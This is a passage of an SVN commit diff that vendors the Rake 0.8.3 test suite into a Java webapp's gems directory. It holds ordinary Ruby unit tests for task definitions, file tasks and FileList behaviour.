+      :dynamic_width_stty => 0,
+      :dynamic_width_tput => 1236)
+    in_environment('RAKE_COLUMNS' => nil) do
+      assert_equal 1236, app.terminal_width
+    end
+  end
+
+  def test_terminal_width_using_hardcoded_80
+    app = Rake::Application.new
+    flexmock(app, :unix? => false)
+    in_environment('RAKE_COLUMNS' => nil) do
+      assert_equal 80, app.terminal_width
+    end
+  end
+
+  def test_terminal_width_with_failure
+    app = Rake::Application.new
+    flexmock(app).should_receive(:unix?).and_throw(RuntimeError)
+    in_environment('RAKE_COLUMNS' => nil) do
+      assert_equal 80, app.terminal_width
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_clean.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_clean.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_clean.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,14 @@
+#!/usr/bin/env ruby
+
+require 'test/unit'
+require 'rake/clean'
+
+class TestClean < Test::Unit::TestCase
+  include Rake
+  def test_clean
+    assert Task['clean'], "Should define clean"
+    assert Task['clobber'], "Should define clobber"
+    assert Task['clobber'].prerequisites.include?("clean"),
+      "Clobber should require clean"
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_definitions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_definitions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_definitions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,82 @@
+#!/usr/bin/env ruby
+
+require 'test/unit'
+require 'fileutils'
+require 'rake'
+require 'test/filecreation'
+
+######################################################################
+class TestDefinitions < Test::Unit::TestCase
+  include Rake
+  EXISTINGFILE = "testdata/existing"
+
+  def setup
+    Task.clear
+  end
+
+  def test_task
+    done = false
+    task :one => [:two] do done = true end
+    task :two
+    task :three => [:one, :two]
+    check_tasks(:one, :two, :three)
+    assert done, "Should be done"
+  end
+
+  def test_file_task
+    done = false
+    file "testdata/one" => "testdata/two" do done = true end
+    file "testdata/two"
+    file "testdata/three" => ["testdata/one", "testdata/two"]
+    check_tasks("testdata/one", "testdata/two", "testdata/three")
+    assert done, "Should be done"
+  end
+
+  def check_tasks(n1, n2, n3)
+    t = Task[n1]
+    assert Task === t, "Should be a Task"
+    assert_equal n1.to_s, t.name
+    assert_equal [n2.to_s], t.prerequisites.collect{|n| n.to_s}
+    t.invoke
+    t2 = Task[n2]
+    assert_equal FileList[], t2.prerequisites
+    t3 = Task[n3]
+    assert_equal [n1.to_s, n2.to_s], t3.prerequisites.collect{|n|n.to_s}
+  end
+
+  def test_incremental_definitions
+    runs = []
+    task :t1 => [:t2] do runs << "A"; 4321 end
+    task :t1 => [:t3] do runs << "B"; 1234 end
+    task :t1 => [:t3]
+    task :t2
+    task :t3
+    Task[:t1].invoke
+    assert_equal ["A", "B"], runs
+    assert_equal ["t2", "t3"], Task[:t1].prerequisites
+  end
+
+  def test_missing_dependencies
+    task :x => ["testdata/missing"]
+    assert_raises(RuntimeError) { Task[:x].invoke }
+  end
+
+  def test_implicit_file_dependencies
+    runs = []
+    create_existing_file
+    task :y => [EXISTINGFILE] do |t| runs << t.name end
+    Task[:y].invoke
+    assert_equal runs, ['y']
+  end
+
+  private # ----------------------------------------------------------
+
+  def create_existing_file
+    Dir.mkdir File.dirname(EXISTINGFILE) unless
+      File.exist?(File.dirname(EXISTINGFILE))
+    open(EXISTINGFILE, "w") do |f| f.puts "HI" end unless
+      File.exist?(EXISTINGFILE)
+  end
+
+end
+  

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_earlytime.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_earlytime.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_earlytime.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,35 @@
+#!/usr/bin/env ruby
+
+require 'test/unit'
+require 'rake'
+
+class TestEarlyTime < Test::Unit::TestCase
+  def test_create
+    early = Rake::EarlyTime.instance
+    time = Time.mktime(1970, 1, 1, 0, 0, 0)
+    assert early <= Time.now
+    assert early < Time.now
+    assert early != Time.now
+    assert Time.now > early
+    assert Time.now >= early
+    assert Time.now != early
+  end
+
+  def test_equality
+    early = Rake::EarlyTime.instance
+    assert_equal early, early, "two early times should be equal"
+  end
+
+  def test_original_time_compare_is_not_messed_up
+    t1 = Time.mktime(1970, 1, 1, 0, 0, 0)
+    t2 = Time.now
+    assert t1 < t2
+    assert t2 > t1
+    assert t1 == t1
+    assert t2 == t2    
+  end
+
+  def test_to_s
+    assert_equal "<EARLY TIME>", Rake::EARLY.to_s
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_extension.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_extension.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_extension.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,63 @@
+#!/usr/bin/env ruby
+
+require 'test/unit'
+require 'rake'
+require 'stringio'
+
+######################################################################
+class TestExtension < Test::Unit::TestCase
+
+  module Redirect
+    def error_redirect
+      old_err = $stderr
+      result = StringIO.new
+      $stderr = result
+      yield
+      result
+    ensure
+      $stderr = old_err
+    end
+  end
+  
+  class Sample
+    extend Redirect
+
+    def duplicate_method
+      :original
+    end
+    
+    OK_ERRS = error_redirect do
+      rake_extension("a") do
+        def ok_method
+        end
+      end
+    end
+
+
+    DUP_ERRS = error_redirect do
+      rake_extension("duplicate_method") do
+        def duplicate_method
+          :override
+        end
+      end
+    end
+  end
+
+  def test_methods_actually_exist
+    sample = Sample.new
+    sample.ok_method
+    sample.duplicate_method
+  end
+
+  def test_no_warning_when_defining_ok_method
+    assert_equal "", Sample::OK_ERRS.string
+  end
+
+  def test_extension_complains_when_a_method_that_is_present
+    assert_match(/warning:/i, Sample::DUP_ERRS.string)
+    assert_match(/already exists/i, Sample::DUP_ERRS.string)
+    assert_match(/duplicate_method/i, Sample::DUP_ERRS.string)
+    assert_equal :original, Sample.new.duplicate_method
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_file_creation_task.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_file_creation_task.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_file_creation_task.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,62 @@
+#!/usr/bin/env ruby
+
+require 'test/unit'
+require 'fileutils'
+require 'rake'
+require 'test/filecreation'
+
+######################################################################
+class TestFileCreationTask < Test::Unit::TestCase
+  include Rake
+  include FileCreation
+
+  DUMMY_DIR = 'testdata/dummy_dir'
+
+  def setup
+    Task.clear
+  end
+
+  def teardown
+    FileUtils.rm_rf DUMMY_DIR
+  end
+
+  def test_file_needed
+    create_dir DUMMY_DIR
+    fc_task = Task[DUMMY_DIR]
+    assert_equal DUMMY_DIR, fc_task.name
+    FileUtils.rm_rf fc_task.name
+    assert fc_task.needed?, "file should be needed"
+    FileUtils.mkdir fc_task.name
+    assert_equal nil, fc_task.prerequisites.collect{|n| Task[n].timestamp}.max
+    assert ! fc_task.needed?, "file should not be needed"
+  end
+
+  def test_directory
+    directory DUMMY_DIR
+    fc_task = Task[DUMMY_DIR]
+    assert_equal DUMMY_DIR, fc_task.name
+    assert FileCreationTask === fc_task
+  end
+
+  def test_no_retriggers_on_filecreate_task
+    create_timed_files(OLDFILE, NEWFILE)
+    t1 = Rake.application.intern(FileCreationTask, OLDFILE).enhance([NEWFILE])
+    t2 = Rake.application.intern(FileCreationTask, NEWFILE)
+    assert ! t2.needed?, "Should not need to build new file"
+    assert ! t1.needed?, "Should not need to rebuild old file because of new"
+  end
+
+  def test_no_retriggers_on_file_task
+    create_timed_files(OLDFILE, NEWFILE)
+    t1 = Rake.application.intern(FileCreationTask, OLDFILE).enhance([NEWFILE])
+    t2 = Rake.application.intern(FileCreationTask, NEWFILE)
+    assert ! t2.needed?, "Should not need to build new file"
+    assert ! t1.needed?, "Should not need to rebuild old file because of new"
+  end
+
+  def test_very_early_timestamp
+    t1 = Rake.application.intern(FileCreationTask, OLDFILE)
+    assert t1.timestamp < Time.now
+    assert t1.timestamp < Time.now - 1000000
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_file_task.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_file_task.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_file_task.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,139 @@
+#!/usr/bin/env ruby
+
+require 'test/unit'
+require 'fileutils'
+require 'rake'
+require 'test/filecreation'
+
+######################################################################
+class TestFileTask < Test::Unit::TestCase
+  include Rake
+  include FileCreation
+
+  def setup
+    Task.clear
+    @runs = Array.new
+    FileUtils.rm_f NEWFILE
+    FileUtils.rm_f OLDFILE
+  end
+
+  def test_file_need
+    name = "testdata/dummy"
+    file name
+    ftask = Task[name]
+    assert_equal name.to_s, ftask.name
+    File.delete(ftask.name) rescue nil
+    assert ftask.needed?, "file should be needed"
+    open(ftask.name, "w") { |f| f.puts "HI" }
+    assert_equal nil, ftask.prerequisites.collect{|n| Task[n].timestamp}.max
+    assert ! ftask.needed?, "file should not be needed"
+    File.delete(ftask.name) rescue nil
+  end
+
+  def test_file_times_new_depends_on_old
+    create_timed_files(OLDFILE, NEWFILE)
+
+    t1 = Rake.application.intern(FileTask, NEWFILE).enhance([OLDFILE])
+    t2 = Rake.application.intern(FileTask, OLDFILE)
+    assert ! t2.needed?, "Should not need to build old file"
+    assert ! t1.needed?, "Should not need to rebuild new file because of old"
+  end
+
+  def test_file_times_old_depends_on_new
+    create_timed_files(OLDFILE, NEWFILE)
+
+    t1 = Rake.application.intern(FileTask,OLDFILE).enhance([NEWFILE])
+    t2 = Rake.application.intern(FileTask, NEWFILE)
+    assert ! t2.needed?, "Should not need to build new file"
+    preq_stamp = t1.prerequisites.collect{|t| Task[t].timestamp}.max
+    assert_equal t2.timestamp, preq_stamp
+    assert t1.timestamp < preq_stamp, "T1 should be older"
+    assert t1.needed?, "Should need to rebuild old file because of new"
+  end
+
+  def test_file_depends_on_task_depend_on_file
+    create_timed_files(OLDFILE, NEWFILE)
+
+    file NEWFILE => [:obj] do |t| @runs << t.name end
+    task :obj => [OLDFILE] do |t| @runs << t.name end
+    file OLDFILE           do |t| @runs << t.name end
+
+    Task[:obj].invoke
+    Task[NEWFILE].invoke
+    assert ! @runs.include?(NEWFILE)
+  end
+
+  def test_existing_file_depends_on_non_existing_file
+    create_file(OLDFILE)
+    delete_file(NEWFILE)
+    file NEWFILE
+    file OLDFILE => NEWFILE
+    assert_nothing_raised do Task[OLDFILE].invoke end
+  end
+
+  # I have currently disabled this test.  I'm not convinced that
+  # deleting the file target on failure is always the proper thing to
+  # do.  I'm willing to hear input on this topic.
+  def ztest_file_deletes_on_failure
+    task :obj 
+    file NEWFILE => [:obj] do |t|
+      FileUtils.touch NEWFILE
+      fail "Ooops"
+    end
+    assert Task[NEWFILE]
+    begin
+      Task[NEWFILE].invoke
+    rescue Exception
+    end
+    assert( ! File.exist?(NEWFILE), "NEWFILE should be deleted")
+  end
+
+end
+
+######################################################################
+class TestDirectoryTask < Test::Unit::TestCase
+  include Rake
+
+  def setup
+    rm_rf "testdata", :verbose=>false
+  end
+
+  def teardown
+    rm_rf "testdata", :verbose=>false
+  end
+
+  def test_directory
+    desc "DESC"
+    directory "testdata/a/b/c"
+    assert_equal FileCreationTask, Task["testdata"].class
+    assert_equal FileCreationTask, Task["testdata/a"].class
+    assert_equal FileCreationTask, Task["testdata/a/b/c"].class
+    assert_nil             Task["testdata"].comment
+    assert_equal "DESC",   Task["testdata/a/b/c"].comment
+    assert_nil             Task["testdata/a/b"].comment
+    verbose(false) {
+      Task['testdata/a/b'].invoke
+    }
+    assert File.exist?("testdata/a/b")
+    assert ! File.exist?("testdata/a/b/c")
+  end
+
+  def test_directory_win32
+    desc "WIN32 DESC"
+    FileUtils.mkdir_p("testdata")
+    Dir.chdir("testdata") do
+      directory 'c:/testdata/a/b/c'
+      assert_equal FileCreationTask, Task['c:/testdata'].class
+      assert_equal FileCreationTask, Task['c:/testdata/a'].class
+      assert_equal FileCreationTask, Task['c:/testdata/a/b/c'].class
+      assert_nil             Task['c:/testdata'].comment
+      assert_equal "WIN32 DESC",   Task['c:/testdata/a/b/c'].comment
+      assert_nil             Task['c:/testdata/a/b'].comment
+      verbose(false) {
+        Task['c:/testdata/a/b'].invoke
+      }
+      assert File.exist?('c:/testdata/a/b')
+      assert ! File.exist?('c:/testdata/a/b/c')
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_filelist.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_filelist.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_filelist.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,618 @@
+#!/usr/bin/env ruby
+
+require 'test/unit'
+require 'rake'
+
+require 'test/capture_stdout'
+
+class TestFileList < Test::Unit::TestCase
+  FileList = Rake::FileList
+  include CaptureStdout
+
+  def setup
+    create_test_data
+  end
+
+  def teardown
+#    FileList.select_default_ignore_patterns
+    FileUtils.rm_rf("testdata")
+  end
+
+  def test_delgating_methods_do_not_include_to_a_or_to_ary
+    assert ! FileList::DELEGATING_METHODS.include?("to_a"), "should not include to_a"
+    assert ! FileList::DELEGATING_METHODS.include?(:to_a), "should not include to_a"
+    assert ! FileList::DELEGATING_METHODS.include?("to_ary"), "should not include to_ary"
+    assert ! FileList::DELEGATING_METHODS.include?(:to_ary), "should not include to_ary"
+  end
+
+  def test_create
+    fl = FileList.new
+    assert_equal 0, fl.size
+  end
+
+  def test_create_with_args
+    fl = FileList.new("testdata/*.c", "x")
+    assert_equal ["testdata/abc.c", "testdata/x.c", "testdata/xyz.c", "x"].sort,
+      fl.sort
+  end
+
+  def test_create_with_block
+    fl = FileList.new { |f| f.include("x") }
+    assert_equal ["x"], fl.resolve
+  end
+
+  def test_create_with_brackets
+    fl = FileList["testdata/*.c", "x"]
+    assert_equal ["testdata/abc.c", "testdata/x.c", "testdata/xyz.c", "x"].sort,
+      fl.sort
+  end
+
+  def test_create_with_brackets_and_filelist
+    fl = FileList[FileList["testdata/*.c", "x"]]
+    assert_equal ["testdata/abc.c", "testdata/x.c", "testdata/xyz.c", "x"].sort,
+      fl.sort
+  end
+
+  def test_include_with_another_array
+    fl = FileList.new.include(["x", "y", "z"])
+    assert_equal ["x", "y", "z"].sort, fl.sort
+  end
+
+  def test_include_with_another_filelist
+    fl = FileList.new.include(FileList["testdata/*.c", "x"])
+    assert_equal ["testdata/abc.c", "testdata/x.c", "testdata/xyz.c", "x"].sort,
+      fl.sort
+  end
+
+  def test_append
+    fl = FileList.new
+    fl << "a.rb" << "b.rb"
+    assert_equal ['a.rb', 'b.rb'], fl
+  end
+
+  def test_add_many
+    fl = FileList.new
+    fl.include %w(a d c)
+    fl.include('x', 'y')
+    assert_equal ['a', 'd', 'c', 'x', 'y'], fl
+    assert_equal ['a', 'd', 'c', 'x', 'y'], fl.resolve
+  end
+
+  def test_add_return
+    f = FileList.new
+    g = f << "x"
+    assert_equal f.object_id, g.object_id
+    h = f.include("y")
+    assert_equal f.object_id, h.object_id
+  end
+  
+  def test_match
+    fl = FileList.new
+    fl.include('test/test*.rb')
+    assert fl.include?("test/test_filelist.rb")
+    assert fl.size > 3
+    fl.each { |fn| assert_match(/\.rb$/, fn) }
+  end
+
+  def test_add_matching
+    fl = FileList.new
+    fl << "a.java"
+    fl.include("test/*.rb")
+    assert_equal "a.java", fl[0]
+    assert fl.size > 2
+    assert fl.include?("test/test_filelist.rb")
+  end
+
+  def test_multiple_patterns
+    create_test_data
+    fl = FileList.new
+    fl.include('*.c', '*xist*')
+    assert_equal [], fl
+    fl.include('testdata/*.c', 'testdata/*xist*')
+    assert_equal [
+      'testdata/x.c', 'testdata/xyz.c', 'testdata/abc.c', 'testdata/existing'
+    ].sort, fl.sort
+  end
+
+  def test_square_bracket_pattern
+    fl = FileList.new
+    fl.include("testdata/abc.[ch]")
+    assert fl.size == 2
+    assert fl.include?("testdata/abc.c")
+    assert fl.include?("testdata/abc.h")
+  end
+
+  def test_curly_bracket_pattern
+    fl = FileList.new
+    fl.include("testdata/abc.{c,h}")
+    assert fl.size == 2
+    assert fl.include?("testdata/abc.c")
+    assert fl.include?("testdata/abc.h")
+  end
+
+  def test_reject
+    fl = FileList.new
+    fl.include %w(testdata/x.c testdata/abc.c testdata/xyz.c testdata/existing)
+    fl.reject! { |fn| fn =~ %r{/x} }
+    assert_equal [
+      'testdata/abc.c', 'testdata/existing'
+    ], fl
+  end
+
+  def test_exclude
+    fl = FileList['testdata/x.c', 'testdata/abc.c', 'testdata/xyz.c', 'testdata/existing']
+    fl.each { |fn| touch fn, :verbose => false }
+    x = fl.exclude(%r{/x.+\.})
+    assert_equal FileList, x.class
+    assert_equal %w(testdata/x.c testdata/abc.c testdata/existing), fl
+    assert_equal fl.object_id, x.object_id
+    fl.exclude('testdata/*.c')
+    assert_equal ['testdata/existing'], fl
+    fl.exclude('testdata/existing')
+    assert_equal [], fl
+  end
+  
+  def test_excluding_via_block
+    fl = FileList['testdata/a.c', 'testdata/b.c', 'testdata/xyz.c']
+    fl.exclude { |fn| fn.pathmap('%n') == 'xyz' }
+    assert fl.exclude?("xyz.c"), "Should exclude xyz.c"
+    assert_equal ['testdata/a.c', 'testdata/b.c'], fl
+  end
+
+  def test_exclude_return_on_create
+    fl = FileList['testdata/*'].exclude(/.*\.[hcx]$/)
+    assert_equal ['testdata/existing', 'testdata/cfiles'].sort, fl.sort
+    assert_equal FileList, fl.class
+  end
+
+  def test_exclude_with_string_return_on_create
+    fl = FileList['testdata/*'].exclude('testdata/abc.c')
+    assert_equal %w(testdata/existing testdata/cfiles testdata/x.c testdata/abc.h testdata/abc.x testdata/xyz.c).sort, fl.sort
+    assert_equal FileList, fl.class
+  end
+
+  def test_default_exclude
+    fl = FileList.new
+    fl.clear_exclude
+    fl.include("**/*~", "**/*.bak", "**/core")
+    assert fl.member?("testdata/core"), "Should include core"
+    assert fl.member?("testdata/x.bak"), "Should include .bak files"
+  end
+
+  def test_unique
+    fl = FileList.new
+    fl << "x.c" << "a.c" << "b.rb" << "a.c"
+    assert_equal ['x.c', 'a.c', 'b.rb', 'a.c'], fl
+    fl.uniq!
+    assert_equal ['x.c', 'a.c', 'b.rb'], fl
+  end
+
+  def test_to_string
+    fl = FileList.new
+    fl << "a.java" << "b.java"
+    assert_equal  "a.java b.java", fl.to_s
+    assert_equal  "a.java b.java", "#{fl}"
+  end
+
+  def test_to_array
+    fl = FileList['a.java', 'b.java']
+    assert_equal  ['a.java', 'b.java'], fl.to_a
+    assert_equal  Array, fl.to_a.class
+    assert_equal  ['a.java', 'b.java'], fl.to_ary
+    assert_equal  Array, fl.to_ary.class
+  end
+
+  def test_to_s_pending
+    fl = FileList['testdata/abc.*']
+    result = fl.to_s
+    assert_match(%r{testdata/abc\.c}, result)
+    assert_match(%r{testdata/abc\.h}, result)
+    assert_match(%r{testdata/abc\.x}, result)
+    assert_match(%r{(testdata/abc\..\b ?){2}}, result)
+  end
+
+  def test_inspect_pending
+    fl = FileList['testdata/abc.*']
+    result = fl.inspect
+    assert_match(%r{"testdata/abc\.c"}, result)
+    assert_match(%r{"testdata/abc\.h"}, result)
+    assert_match(%r{"testdata/abc\.x"}, result)
+    assert_match(%r|^\[("testdata/abc\..", ){2}"testdata/abc\.."\]$|, result)
+  end
+
+  def test_sub
+    fl = FileList["testdata/*.c"]
+    f2 = fl.sub(/\.c$/, ".o")
+    assert_equal FileList, f2.class
+    assert_equal ["testdata/abc.o", "testdata/x.o", "testdata/xyz.o"].sort,
+      f2.sort
+    f3 = fl.gsub(/\.c$/, ".o")
+    assert_equal FileList, f3.class
+    assert_equal ["testdata/abc.o", "testdata/x.o", "testdata/xyz.o"].sort,
+      f3.sort
+  end
+  
+  def test_claim_to_be_a_kind_of_array
+    fl = FileList['testdata/*.c']
+    assert fl.is_a?(Array)
+    assert fl.kind_of?(Array)
+  end
+  
+  def test_claim_to_be_a_kind_of_filelist
+    fl = FileList['testdata/*.c']
+    assert fl.is_a?(FileList)
+    assert fl.kind_of?(FileList)
+  end
+  
+  def test_claim_to_be_a_filelist_instance
+    fl = FileList['testdata/*.c']
+    assert fl.instance_of?(FileList)
+  end
+  
+  def test_dont_claim_to_be_an_array_instance
+    fl = FileList['testdata/*.c']
+    assert ! fl.instance_of?(Array)
+  end
+
+  def test_sub!
+    f = "x/a.c"
+    fl = FileList[f, "x/b.c"]
+    res = fl.sub!(/\.c$/, ".o")
+    assert_equal ["x/a.o", "x/b.o"].sort, fl.sort
+    assert_equal "x/a.c", f
+    assert_equal fl.object_id, res.object_id
+  end
+
+  def test_sub_with_block
+    fl = FileList["src/org/onestepback/a.java", "src/org/onestepback/b.java"]
+# The block version doesn't work the way I want it to ...
+#    f2 = fl.sub(%r{^src/(.*)\.java$}) { |x|  "classes/" + $1 + ".class" }
+    f2 = fl.sub(%r{^src/(.*)\.java$}, "classes/\\1.class")
+    assert_equal [
+      "classes/org/onestepback/a.class",
+      "classes/org/onestepback/b.class"
+    ].sort,
+      f2.sort
+  end
+
+  def test_string_ext
+    assert_equal "one.net", "one.two".ext("net")
+    assert_equal "one.net", "one.two".ext(".net")
+    assert_equal "one.net", "one".ext("net")
+    assert_equal "one.net", "one".ext(".net")
+    assert_equal "one.two.net", "one.two.c".ext(".net")
+    assert_equal "one/two.net", "one/two.c".ext(".net")
+    assert_equal "one.x/two.net", "one.x/two.c".ext(".net")
+    assert_equal "one.x\\two.net", "one.x\\two.c".ext(".net")
+    assert_equal "one.x/two.net", "one.x/two".ext(".net")
+    assert_equal "one.x\\two.net", "one.x\\two".ext(".net")
+    assert_equal ".onerc.net", ".onerc.dot".ext("net")
+    assert_equal ".onerc.net", ".onerc".ext("net")
+    assert_equal ".a/.onerc.net", ".a/.onerc".ext("net")
+    assert_equal "one", "one.two".ext('')
+    assert_equal "one", "one.two".ext
+    assert_equal ".one", ".one.two".ext
+    assert_equal ".one", ".one".ext
+    assert_equal ".", ".".ext("c")
+    assert_equal "..", "..".ext("c")
+  end
+
+  def test_filelist_ext
+    assert_equal FileList['one.c', '.one.c'],
+      FileList['one.net', '.one'].ext('c')
+  end
+
+  def test_gsub
+    create_test_data
+    fl = FileList["testdata/*.c"]
+    f2 = fl.gsub(/a/, "A")
+    assert_equal ["testdAtA/Abc.c", "testdAtA/x.c", "testdAtA/xyz.c"].sort,
+      f2.sort
+  end
+
+  def test_gsub!
+    create_test_data
+    f = FileList["testdata/*.c"]
+    f.gsub!(/a/, "A")
+    assert_equal ["testdAtA/Abc.c", "testdAtA/x.c", "testdAtA/xyz.c"].sort,
+      f.sort
+  end
+
+  def test_egrep_with_output
+    files = FileList['test/test*.rb']
+    the_line_number = __LINE__ + 1
+    out = capture_stdout do files.egrep(/PUGH/) end
+    assert_match(/:#{the_line_number}:/, out)
+  end
+
+  def test_egrep_with_block
+    files = FileList['test/test*.rb']
+    found = false
+    the_line_number = __LINE__ + 1
+    files.egrep(/XYZZY/) do |fn, ln, line |
+      assert_equal 'test/test_filelist.rb', fn
+      assert_equal the_line_number, ln
+      assert_match(/files\.egrep/, line)
+      found = true
+    end
+    assert found, "should have found a matching line"
+  end
+
+  def test_existing
+    fl = FileList['testdata/abc.c', 'testdata/notthere.c']
+    assert_equal ["testdata/abc.c"], fl.existing
+    assert fl.existing.is_a?(FileList)
+  end
+
+  def test_existing!
+    fl = FileList['testdata/abc.c', 'testdata/notthere.c']
+    result = fl.existing!
+    assert_equal ["testdata/abc.c"], fl
+    assert_equal fl.object_id, result.object_id
+  end
+
+  def test_ignore_special
+    f = FileList['testdata/*']
+    assert ! f.include?("testdata/CVS"), "Should not contain CVS"
+    assert ! f.include?("testdata/.svn"), "Should not contain .svn"
+    assert ! f.include?("testdata/.dummy"), "Should not contain dot files"
+    assert ! f.include?("testdata/x.bak"), "Should not contain .bak files"
+    assert ! f.include?("testdata/x~"), "Should not contain ~ files"
+    assert ! f.include?("testdata/core"), "Should not contain core files"
+  end
+
+  def test_clear_ignore_patterns
+    f = FileList['testdata/*', 'testdata/.svn']
+    f.clear_exclude
+    assert f.include?("testdata/abc.c")
+    assert f.include?("testdata/xyz.c")
+    assert f.include?("testdata/CVS")
+    assert f.include?("testdata/.svn")
+    assert f.include?("testdata/x.bak")
+    assert f.include?("testdata/x~")
+  end
+
+  def test_exclude_with_alternate_file_seps
+    fl = FileList.new
+    assert fl.exclude?("x/CVS/y")
+    assert fl.exclude?("x\\CVS\\y")
+    assert fl.exclude?("x/.svn/y")
+    assert fl.exclude?("x\\.svn\\y")
+    assert fl.exclude?("x/core")
+    assert fl.exclude?("x\\core")
+  end
+
+  def test_add_default_exclude_list
+    fl = FileList.new
+    fl.exclude(/~\d+$/)
+    assert fl.exclude?("x/CVS/y")
+    assert fl.exclude?("x\\CVS\\y")
+    assert fl.exclude?("x/.svn/y")
+    assert fl.exclude?("x\\.svn\\y")
+    assert fl.exclude?("x/core")
+    assert fl.exclude?("x\\core")
+    assert fl.exclude?("x/abc~1")
+  end
+
+  def test_basic_array_functions
+    f = FileList['b', 'c', 'a']
+    assert_equal 'b', f.first
+    assert_equal 'b', f[0]
+    assert_equal 'a', f.last
+    assert_equal 'a', f[2]
+    assert_equal 'a', f[-1]
+    assert_equal ['a', 'b', 'c'], f.sort
+    f.sort!
+    assert_equal ['a', 'b', 'c'], f
+  end
+
+  def test_flatten
+    assert_equal ['a', 'testdata/x.c', 'testdata/xyz.c', 'testdata/abc.c'].sort,
+      ['a', FileList['testdata/*.c']].flatten.sort
+  end
+
+  def test_clone_and_dup
+    a = FileList['a', 'b', 'c']
+    c = a.clone
+    d = a.dup
+    a << 'd'
+    assert_equal ['a', 'b', 'c', 'd'], a
+    assert_equal ['a', 'b', 'c'], c
+    assert_equal ['a', 'b', 'c'], d
+  end
+
+  def test_dup_and_clone_replicate_taint
+    a = FileList['a', 'b', 'c']
+    a.taint
+    c = a.clone
+    d = a.dup
+    assert c.tainted?, "Clone should be tainted"
+    assert d.tainted?, "Dup should be tainted"
+  end
+
+  def test_duped_items_will_thaw
+    a = FileList['a', 'b', 'c']
+    a.freeze
+    d = a.dup
+    d << 'more'
+    assert_equal ['a', 'b', 'c', 'more'], d
+  end
+
+  def test_cloned_items_stay_frozen
+    a = FileList['a', 'b', 'c']
+    a.freeze
+    c = a.clone
+    assert_raise(TypeError, RuntimeError) do
+      c << 'more'
+    end
+  end
+
+  def test_array_comparisons
+    fl = FileList['b', 'b']
+    a = ['b', 'a']
+    b = ['b', 'b']
+    c = ['b', 'c']
+    assert_equal( 1,  fl <=> a )
+    assert_equal( 0,  fl <=> b )
+    assert_equal( -1, fl <=> c )
+    assert_equal( -1, a <=> fl )
+    assert_equal( 0,  b <=> fl )
+    assert_equal( 1,  c <=> fl )
+  end
+
+  def test_array_equality
+    a = FileList['a', 'b']
+    b = ['a', 'b']
+    assert a == b
+    assert b == a
+#   assert a.eql?(b)
+#    assert b.eql?(a)
+    assert ! a.equal?(b)
+    assert ! b.equal?(a)
+  end
+
+  def test_enumeration_methods
+    a = FileList['a', 'b']
+    b = a.collect { |it| it.upcase }
+    assert_equal ['A', 'B'], b
+    assert_equal FileList,  b.class
+
+    b = a.map { |it| it.upcase }
+    assert_equal ['A', 'B'], b
+    assert_equal FileList,  b.class
+
+    b = a.sort
+    assert_equal ['a', 'b'], b
+    assert_equal FileList,  b.class
+
+    b = a.sort_by { |it| it }
+    assert_equal ['a', 'b'], b
+    assert_equal FileList,  b.class
+
+    b = a.find_all { |it| it == 'b'}
+    assert_equal ['b'], b
+    assert_equal FileList,  b.class
+
+    b = a.select { |it| it.size == 1 }
+    assert_equal ['a', 'b'], b
+    assert_equal FileList,  b.class
+
+    b = a.reject { |it| it == 'b' }
+    assert_equal ['a'], b
+    assert_equal FileList,  b.class
+
+    b = a.grep(/./)
+    assert_equal ['a', 'b'], b
+    assert_equal FileList,  b.class
+
+    b = a.partition { |it| it == 'b' }
+    assert_equal [['b'], ['a']], b
+    assert_equal Array, b.class
+    assert_equal FileList,  b[0].class
+    assert_equal FileList,  b[1].class
+
+    b = a.zip(['x', 'y']).to_a
+    assert_equal [['a', 'x'], ['b', 'y']], b
+    assert_equal Array, b.class
+    assert_equal Array, b[0].class
+    assert_equal Array, b[1].class
+  end
+
+  def test_array_operators
+    a = ['a', 'b']
+    b = ['c', 'd']
+    f = FileList['x', 'y']
+    g = FileList['w', 'z']
+
+    r = f + g
+    assert_equal ['x', 'y', 'w', 'z'], r
+    assert_equal FileList, r.class
+
+    r = a + g
+    assert_equal ['a', 'b', 'w', 'z'], r
